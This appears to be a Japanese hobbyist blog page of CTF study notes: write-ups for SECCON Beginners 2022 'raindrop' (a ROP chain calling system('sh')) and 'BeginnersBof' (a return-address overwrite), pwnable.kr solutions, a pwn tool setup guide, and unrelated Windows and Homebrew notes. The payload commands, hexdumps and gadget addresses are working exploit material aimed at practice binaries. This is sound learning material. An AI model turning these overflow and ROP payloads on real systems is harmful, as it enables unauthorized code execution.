SECCON Beginners 2022 復習(2/x)
raindrop
本番中
名前的にROPする問題と分かったが、ROPは勉強したけど良くわからなかった印象
解けると思わなかったので未着手
Writeup
作問した人のWriteupが以下 feneshi.co
BeginnersBofでWriteupのスクリプトが動かなくて困ったので、最初からWriteupのスクリプトを元にバイナリファイルを作って勉強することに。
サーバ準備
socat tcp-l:9001,reuseaddr,fork system:./chall & echo flag > flag.txt
Writeupスクリプト実行。今回は正しく動いた。
$ python3 answer_write.py flag Segmentation fault 2022/06/07 23:16:26 socat[11902] E waitpid(): child 11903 exited with status 139
サーバに送り付けているバイナリファイルの中身を見るため、以下をスクリプトの途中に追加
with open("payload", mode='wb') as f: f.write(payload)
中身を見てみる
$ hexdump -Cv payload 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa| 00000010 61 61 61 61 61 61 61 61 53 14 40 00 00 00 00 00 |aaaaaaaaS.@.....| 00000020 f4 20 40 00 00 00 00 00 e5 11 40 00 00 00 00 00 |. @.......@.....| 00000030
aを24個埋めた後、「00000000 00401453」「00000000 004020f4」「00000000 004011e5」を積んでいるらしい。 「00000000 00401453」でリターンアドレスを上書いているのだと思う。 「00000000 00401453」に何があるか見てみる
$ objdump -D -M intel chall > chall.txt $ less chall.txt 401452: 41 5f pop r15 401454: c3 ret
「5f c3」らしい。
調べると「5f」は「pop edi」とのこと。「c3」は「ret」なので、「pop edi」命令と「ret」命令を実行するアドレスに飛ばしているようだ。
となると、「00000000 004020f4」はediに入れたいアドレスで、「00000000 004011e5」はret命令で戻るアドレスということになる。
「00000000 004020f4」もみてみる。
$ less chall.txt 4020f4: 73 68 jae 40215e <__GNU_EH_FRAME_HDR+0x66>
jae命令のアドレスに見える。これだけではよくわからないので、「00000000 004011e5」を見てみる。
$ less chall.txt 4011e5: e8 b6 fe ff ff call 4010a0 <system@plt>
system関数をcallするところだった。system関数の引数を調べてみる。
#include <stdlib.h> int system(const char *command);
引数は文字列のアドレスらしい。ということは「00000000 004020f4」はjae命令のアドレスとして扱っているのではなく、 文字列のアドレスとして扱っていることになる。もう一度「00000000 004020f4」を見てみる。
$ less chall.txt 4020f4: 73 68 jae 40215e <__GNU_EH_FRAME_HDR+0x66>
「73 68」が文字列のようだ。調べたら「73」が「s」、「68」が「h」なので「sh」ということになる。
ただ、終端(NULL : 0x00)を確認していないのでもう一度見る。
$ less chall.txt 4020f4: 73 68 jae 40215e <__GNU_EH_FRAME_HDR+0x66> ... Disassembly of section .eh_frame_hdr: 00000000004020f8 <__GNU_EH_FRAME_HDR>: 4020f8: 01 1b add DWORD PTR [rbx],ebx
4020f4の次が4020f8になっている。「73 68」の後ろは空白になっているが、おそらく「73 68 00 00」なのだろう。
まとめると、
「00000000 00401453」を書き込むことで「pop edi」命令と「ret」命令を実行するアドレスに行くようにし、
文字列「sh\0」のアドレス「00000000 004020f4」を入れて、system関数のアドレス「00000000 004011e5」を入れておくことで、
vuln関数から出るときにsystem("sh")を実行しているようだ。
最後に、バイナリファイルを入れてフラグが取得できることを確認する。
(自分)$ nc localhost 9001 < payload nc localhost 9001 < payload Hey! You are now going to try a simple problem using stack buffer overflow and ROP. I will list some keywords that will give you hints, so please look them up if you don't understand them. - stack buffer overflow - return oriented programming - calling conventions stack dump... [Index] |[Value] ========+=================== 000000 | 0x0000000000000000 <- buf 000001 | 0x0000000000000000 000002 | 0x00007fff73cc4400 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish You can earn points by submitting the contents of flag.txt Did you understand? bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x6161616161616161 <- buf 000001 | 0x6161616161616161 000002 | 0x6161616161616161 <- saved rbp 000003 | 0x0000000000401453 <- saved ret addr 000004 | 0x00000000004020f4 cat flag.txt ^C (自分)$ Segmentation fault 2022/06/07 23:51:19 socat[11948] E waitpid(): child 11949 exited with status 139 cat flag.txt flag
「finish」の後無応答になったのでshが動いたのかと思ったら違った。なにこれどういう状態?ctrl-cしたらまた無応答になったので「cat flag.txt」したらフラグを取得できた。
感想
「finish」の後何が起きたのかよくわからないのが相変わらずpwnの問題だなという感じだが、ROPがどういうものか初めて理解できたと思った。
2022/06/12追記
discordのpwnableのチャネルを見ていたら本番サーバが生きていると分かったので、raindrop.quals.beginners.seccon.jp:9001にパイナリファイルpayloadを流し込んでみた。
(自分)$ nc raindrop.quals.beginners.seccon.jp 9001 < payload Hey! You are now going to try a simple problem using stack buffer overflow and ROP. I will list some keywords that will give you hints, so please look them up if you don't understand them. - stack buffer overflow - return oriented programming - calling conventions stack dump... [Index] |[Value] ========+=================== 000000 | 0x0000000000000000 <- buf 000001 | 0x0000000000000000 000002 | 0x00007ffd3c0fbfd0 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish You can earn points by submitting the contents of flag.txt Did you understand? bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x6161616161616161 <- buf 000001 | 0x6161616161616161 000002 | 0x6161616161616161 <- saved rbp 000003 | 0x0000000000401453 <- saved ret addr 000004 | 0x00000000004020f4 finish cat flag.txt ^C (自分)$
やっぱりfinishの後何を応答しても受けつけてくれなくなる。
自分の環境ではctrl-cで抜けたらサーバのシェルが動いたが、本番環境では自分のシェルに戻ってしまった。流し込むバイナリが正しければいいという話ではなく、標準入出力の仕様を理解していないとだめらしい。
何がいけないのか良く分からないがpythonのpwntoolsを使うしかないのかなと思う。
SECCON Beginners 2022 復習
BeginnersBof
本番中
40文字目からwin()のアドレスを入れられれば良いことまでは分かった。
win()のアドレスも分かり、リトルエンディアンに注意しつつ、バイナリエディタでexploitデータを作成し、
手元で立ち上げたサーバに対して送りつけてみた。
しかし、うまくいかなかった。
Writeup
作問した人がWriteupを上げてくれていたが私の環境では動かなかった。
なのでtwitterで見つけた方法をまとめる。
サーバ環境準備
echo "test" > flag.txt socat tcp-l:9000,reuseaddr,fork system:./chall &
攻撃
python -c "print('100' + '\x0a' + 'A'*40 + '\xe6\x11\x40\x00\x00\x00\x00\x00')" > in.txt nc localhost 9000 < in.txt
結果
$ nc localhost 9000 < in.txt How long is your name? What's your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@test Segmentation fault
振り返り
本番中に私が作ったデータは以下。
$ hexdump -Cv attack.bin 00000000 ff 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |..aaaaaaaaaaaaaa| 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa| 00000020 61 61 61 61 61 61 61 61 61 61 e6 11 40 00 00 00 |aaaaaaaaaa..@...| 00000030 00 00 0a |...| 00000033
writeupで作ったデータは以下
$ hexdump -Cv in.txt 00000000 31 30 30 0a 41 41 41 41 41 41 41 41 41 41 41 41 |100.AAAAAAAAAAAA| 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000020 41 41 41 41 41 41 41 41 41 41 41 41 e6 11 40 00 |AAAAAAAAAAAA..@.| 00000030 00 00 00 00 0a |.....| 00000035
最初の数値の応答がうまく行っていなかった。バイナリエディタで数値の応答データを作ったのが失敗だった。
今思うと各質問に対して応答データを作ってcatでくっつければよかった。
作問した人のwriteupは以下 feneshi.co
手元で動かしてみたけどEOFErrorになる。
$ python3 answer.py Segmentation fault 2022/06/06 21:04:17 socat[11269] E waitpid(): child 11270 exited with status 139 Traceback (most recent call last): File "answer.py", line 22, in <module> io.recvuntil(b'ctf4b') File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil res = self.recv(timeout=self.timeout) File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 105, in recv return self._recv(numb, timeout) or b'' File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 183, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError
作問者が間違えているとは思えない。環境のせいなのだろうか。
そもそも、単純応答する以下のスクリプトが動かない。
from pwn import * # connect io = remote('127.0.0.1', 9999) # recive question1 r1 = io.recvline() print(r1) # answer question1 a1 = "1" print(a1) io.sendline(a1) # recive question2 r2 = io.recvline() print(r2) # answer question2 a2 = "a" print(a2) io.sendline(a2) #io.interactive() # recive question3 r3 = io.recvline() print(r3) r4 = io.recvline() print(r4)
結果
$ python3 exploit.py [+] Opening connection to 127.0.0.1 on port 9000: Done b'How long is your name?\n' 1 exploit.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.sendline(a1) b"What's your name?\n" aaa exploit.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.sendline(a2) 2022/06/06 21:24:03 socat[11332] E write(5, 0x5579d3d2da90, 4): Broken pipe Traceback (most recent call last): File "exploit.py", line 26, in <module> r3 = io.recvline() File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 490, in recvline return self.recvuntil(self.newline, drop = not keepends, timeout = timeout) File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil res = self.recv(timeout=self.timeout) File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 105, in recv return self._recv(numb, timeout) or b'' File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 183, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError [*] Closed connection to 127.0.0.1 port 9000
sudo apt update && sudo apt upgradeしてみたが結果は変わらなかった。
何が何だか。
感想
参考書や技術書店で買った本で勉強したり、練習サイトで勉強したりしてもう何年もpwnにチャレンジしてるけど本番で解けたことが一度もない。
一番単純なパターンのbofであることは問題文から分かったので、今回こそはと思ったが駄目だったのでそろそろ心が折れそう。
失敗した時になぜうまくいかなかったか、どこが良くなかったか分からないとフィードバックをかけられないのだが、pwnはそういうケースが多くて困る。
ただ、データを作成して送り込む方法ならhexdumpで比べられるので今後はこの方法で進めようと思う。
「Downloader.dll がないため、プログラムを開始できません。」への対処
以下メッセージがでたときの対処方法を書く。
コンピューターに Downloader.dll がないため、プログラムを開始できません。この問題を解決するには、プログラムを再インストールしてみてください。
普通は以下でok。
私の環境ではDismがエラー0x800f081fで失敗したため、以下の方法をとった。
が、、、「Dism /Online /Cleanup-Image /RestoreHealth /Source:D:\mount\windows /LimitAccess」で またDismがエラー0x800f081fで失敗。。。
install.esdからinstall.winを作成し、「DISM /Online /Cleanup-Image /RestoreHealth /source:ESD:D:\Sources\Install.win:1 /LimitAccess」する方法も試してみたがこれもだめ。。。
調査はまたにすることに。。
ctfのための環境構築(ubuntu編)
はじめに
ctfのために構築した環境をメモしておく。 入れたツールはbinaryとpwn用。
OS
Ubuntu 18.0.4(64bit)をVirtualbox上に構築(ホストはwindows 10)。 Ubuntu 16.0.4(64bit)だといろいろエラーがでて面倒だったので最新版の18.0.4にした。
VM
vmware playerはvmware toolsがうまくインストールできず、面倒だったのでVirtual boxを使用した。
guest addtionsインストール
初回インストール時は「Please install the gcc make perl packages from your distribution.」と出たので、以下を実行してから再実行。
$ sudo apt-get update $ sudo apt-get install build-essential gcc make perl $ reboot
共用フォルダー設定
ゲストとホストとでファイルを相互にコピーできるように共用フォルダーを作成した。 本当はドラッグアンドドロップできるようにしたかったが、うまく動かなかった。
ツール
共通
git
$ sudo apt-get install git
java
$ sudo apt-get install default-jre
vim
$ sudo apt-get install vim
gdb
インストール
$sudo apt-get install gdb
設定(~/.gdbinit)
set disassembly-flavor intel set follow-fork-mode child set history save on set history filename ~/.gdb_history set history size 32768 set history expansion on define xall i r eip esp ebp eax x/5i $eip x/32xw $esp end document xall Stack and disas helper end define xenv x/20s *environ end document xenv Print the environment variables from the stack end
binary用
strace
$ sudo apt-get install strace
ltrace
$ sudo apt-get install ltrace
binutils
$ sudo apt-get install binutils
ghex
$ sudo apt-get install ghex
radare2
$ git clone https://github.com/radare/radare2 $ cd radare2 $ sudo sys/install.sh $ cd
dex2jar
$ wget http://sourceforge.net/projects/dex2jar/files/dex2jar-2.0.zip $ unzip $ cd dex2jar $ chmod u+x ./*.sh $ cd $ export PATH=$PATH:~/dex2jar-2.0
jd-gui
kali linuxには初めから入っているらしい。 windowsでも動くようなので無理にubuntuで動かす必要はないかも。
$ sudo apt-get install libgtk2.0-0:i386 $ sudo apt-get install libxxf86vm1:i386 $ sudo apt-get install libsm6:i386 $ sudo apt-get install lib32stdc++6 $ sudo apt-get install libatk-adaptor:i386 libgail-common:i386 $ sudo apt-get install libcanberra-gtk-module:i386 $ wget http://jd.benow.ca/jd-gui/downloads/jd-gui-0.3.5.linux.i686.tar.gz $ tar zxvf jd-gui-0.3.5.linux.i686.tar.gz $ export PATH=$PATH:~/jd-gui
pwn用
下準備
$ mkdir bin $ export PATH=~/bin:$PATH
checksec
$ git clone https://github.com/slimm609/checksec.sh.git $ cp checksec.sh/checksec $HOME/bin/checksec.sh
rp++
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O $HOME/bin/rp
peda
$ sudo apt-get install build-essential gcc-multilib $ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit
socat
$sudo apt-get install socat
pwntools
pipをpip install --upgrade pip
するとバージョン不整合がおきるのでやらない。
$ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential $ pip install pwntools
参考資料
CTF Pwnのためのメモ
- disassemble
objdump -d -M intel
gdb -q
- セクションヘッダの表示(got/pltをみるのに使う)
"アドレス"にアドレスがでてくる
readelf -S
- 共用ライブラリを指定して実行
$vi preload
set environment LD_PRELOAD
start
$gdb –q
- セキュリティ機構確認
~/checksec.sh-1.6/checksec --file
出力の意味 :
実行ファイルのセキュリティ機構[RELRO/SSP/Nxbit/ASLR/PIE] - Pwn De Ring
- コアダンプ出力の設定
ulimit -c unlimited
Linux環境設定/コアダンプを出力するようにする - Linuxと過ごす
- コアダンプ読み込み
- 動的デバッグ環境作成
[端末1: 待ち受け側]
$ vim main.sh
gdbserver localhost:1234
$ chmod +x main.sh
$socat TCP-LISTEN:1025,reuseaddr,fork EXEC:"./main.sh"
[端末2: 攻撃側]
$ perl -e 'print "A"x140 . "BBBB"' | nc localhost 1025
payloadを流し込む場合
$ cat payload | nc localhost 1025
[端末3: デバッグ側]
$ vim cmd
file
tartget remote localhost:1234
c
$ gdb -q -x cmd
katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex / katagaitai CTF #2 // Speaker Deck
Pwn練習
Pwnの練習としてpwnable.krのwirteupを書きます。 pwnable.krとはPwnやバイナリ系の問題が多数載っているサイトです。
英語、中国語、韓国語のWriteupはいくつか見つかりますが、 日本語のものはないので書いてみます。
[Toddler's Bottle]
もっとも難易度の低いレベルです。もらえるポイントも一桁です。
fd(2016/10/29完)
ファイル記述子に関する問題です。
char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
fd=0つまりstdinからbufへの入力を受け付けるようにし、 LETMEWINを入力すればいいです。 fd=0にするには0x1234(4660)を入力すればいいです。
fd@ubuntu:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is!!
フラグは「mommy! I think I know what a file descriptor is!!」です。
参考サイト: pwnable.kr Toddler's Bottle (easy) write-up · Sirius CTF
collision(2016/10/30完)
以下がプログラムです。
#include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
引数の文字列を20バイト取り、それを4バイトずつint型の値として見て加算していき、 合計が0x21DD09EC(568134124)になるか判定しています。 つまり、0x21DD09EC(568134124)=0x06C5CEC8(113626824)*4+0x06C5CECC(113626828)となるように、 0x06C5CEC8を4回で16バイト分、0x06C5CECCを1回で4バイト分入力すればokです(ただし、リトルエンディアンなので入力方法に注意が必要です)。
col@ubuntu:~$ ./col $(perl -e 'print "\xc8\xce\xc5\x06"x4 . "\xcc\xce\xc5\x06"') daddy! I just managed to create a hash collision :)
フラグは「daddy! I just managed to create a hash collision :)」です。
参考サイト: pwnable.kr Toddler's Bottle (easy) write-up · Sirius CTF
Mac OS X EI Capitanにautoconf, automake, libtoolをインストールしたときのメモ
作業
autoconf
% brew install autoconf ==> Downloading https://homebrew.bintray.com/bottles/autoconf-2.69.el_capitan.bottle.4.tar.gz ######################################################################## 100.0% ==> Pouring autoconf-2.69.el_capitan.bottle.4.tar.gz ==> Caveats Emacs Lisp files have been installed to: /usr/local/share/emacs/site-lisp/autoconf ==> Summary 🍺 /usr/local/Cellar/autoconf/2.69: 70 files, 3.1M
automake
% brew install automake ==> Downloading https://homebrew.bintray.com/bottles/automake-1.15.el_capitan.bottle.2.tar.gz ######################################################################## 100.0% ==> Pouring automake-1.15.el_capitan.bottle.2.tar.gz 🍺 /usr/local/Cellar/automake/1.15: 130 files, 3.2M
libtool
以下実行したらシンボリックリンク作成に失敗
/usr/local/includeがないらしい。
% brew install libtool ==> Downloading https://homebrew.bintray.com/bottles/libtool-2.4.6.el_capitan.bottle.tar.gz ######################################################################## 100.0% ==> Pouring libtool-2.4.6.el_capitan.bottle.tar.gz Error: The `brew link` step did not complete successfully The formula built, but is not symlinked into /usr/local Could not symlink include/libltdl /usr/local/include is not writable. You can try again using: brew link libtool ==> Caveats In order to prevent conflicts with Apple's own libtool we have prepended a "g" so, you have instead: glibtool and glibtoolize. ==> Summary 🍺 /usr/local/Cellar/libtool/2.4.6: 69 files, 3.8M
調べたら確かになかったので作成。
あわせて/usr/local/lib/もなかったので作成。
% cd /usr/local/ % sudo mkdir include % sudo mkdir lib % sudo chown -R yuki:admin include % sudo chown -R yuki:admin lib
シンボリックリンク再作成して成功
% brew link libtool Linking /usr/local/Cellar/libtool/2.4.6... 20 symlinks created % ls /usr/local/lib libltdl.7.dylib libltdl.a libltdl.dylib % ls /usr/local/include libltdl ltdl.h